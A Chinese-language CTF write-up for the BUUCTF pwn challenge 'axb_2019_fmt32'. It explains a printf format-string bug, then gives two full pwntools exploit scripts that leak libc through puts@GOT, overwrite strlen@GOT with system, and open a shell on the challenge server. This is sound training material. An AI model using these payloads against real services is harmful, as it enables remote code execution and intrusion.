checksec
matrix@ubuntu:~/PWN/BUU$ checksec axb_2019_fmt32
[*] '/home/matrix/PWN/BUU/axb_2019_fmt32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开启了NX、
matrix@ubuntu:~/PWN/BUU$ ./axb_2019_fmt32
Hello,I am a computer Repeater updated.
After a lot of machine learning,I know that the essence of man is a reread machine!
So I'll answer whatever you say!
Please tell me:%p
Repeater:0x804888d
Please tell me:Alarm clock
格式化字符串漏洞
IDA
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Fh] [ebp-239h]
char format; // [esp+110h] [ebp-138h]
unsigned int v5; // [esp+23Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
puts(
"Hello,I am a computer Repeater updated.\n"
"After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'll answer whatever you say!");
while ( 1 )
{
alarm(3u);
memset(&s, 0, 0x101u);
memset(&format, 0, 0x12Cu);
printf("Please tell me:");
read(0, &s, 0x100u);
sprintf(&format, "Repeater:%s\n", &s);
if ( strlen(&format) > 0x10E )
break;
printf(&format); //利用点
}
printf("what you input is really long!");
exit(0);
}
没有system,/bin/sh。 后门
思路
利用fmt泄露函数地址获取libc版本,system真实地址 ,再次利用写入strlen_got表中,然后输入/bin/sh即可
EXP
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('axb_2019_fmt32')
puts_got = elf.got['puts']
strlen_got = (elf.got['strlen'])
#sh = process('./axb_2019_fmt32')
sh = remote('node3.buuoj.cn',26280)
payload ='AAA'+p32(puts_got) + '%75$s'
sh.sendlineafter('Please tell me:',payload)
sh.recvuntil('AAA')
sh.recv(4)
puts_addr = u32(sh.recv(4))
print type(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr - libc.dump('puts')
system_addr = (libc_addr + libc.dump('system')) #地址泄露
print hex(system_addr)
payload1 = 'B' #10 ge fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
payload1 += fmtstr_payload(8,{strlen_got:system_addr},numbwritten=10)
print payload1
sh.sendlineafter('Please tell me:',payload1)
sh.sendlineafter('Please tell me:','||sh') //strlen的参数里面还有Repeater:所以得用||sh 或者;/bin/sh
sh.interactive()
注意:
- 这里使用了pwntools的fmtstr_payload模块
- fmtstr_payload(offset, writes, numbwritten=0, write_size=’byte’)这是完整形式,offset:偏移 writes:{addr1:adddr2} numbwritten:已经被输出的字符(这里已经输出了10个) write_size=’byte’:参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
- 我们输入的数据在栈中并没有对齐,所以payload先放一个B来对齐
不用fmtstr_payload,构造payload:
EXP
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('axb_2019_fmt32')
puts_got = elf.got['puts']
strlen_got = (elf.got['strlen'])
#sh = process('./axb_2019_fmt32')
sh = remote('node3.buuoj.cn',26280)
payload ='AAA'+p32(puts_got) + '%75$s'
sh.sendlineafter('Please tell me:',payload)
sh.recvuntil('AAA')
sh.recv(4)
puts_addr = u32(sh.recv(4))
print type(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr - libc.dump('puts')
system_addr = (libc_addr + libc.dump('system'))
system_high = system_addr >> 16
print hex(system_high)
system_low = system_addr & 0xffff
print hex(system_low)
differe = system_high - system_low
print hex(system_addr)
payload1 = 'B' #10 ge fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
#payload += fmtstr_payload(8,{strlen_got:system_addr},numbwritten=10)
aim_strlen_low = strlen_got
aim_strlen_high = strlen_got + 2
payload1 += p32(aim_strlen_low) #off = 8
payload1 += p32(aim_strlen_high) #0ff = 9
payload1 += '%{}c%8$hn%{}c%9$hn'.format((system_low-18),differe)
print payload1
sh.sendlineafter('Please tell me:',payload1)
sh.sendlineafter('Please tell me:',';/bin/sh')
sh.interactive()
结果:
[DEBUG] Sent 0x9 bytes:
';/bin/sh\n'
[*] Switching to interactive mode
[DEBUG] Received 0x1c bytes:
'sh: 1: Repeater:: not found\n'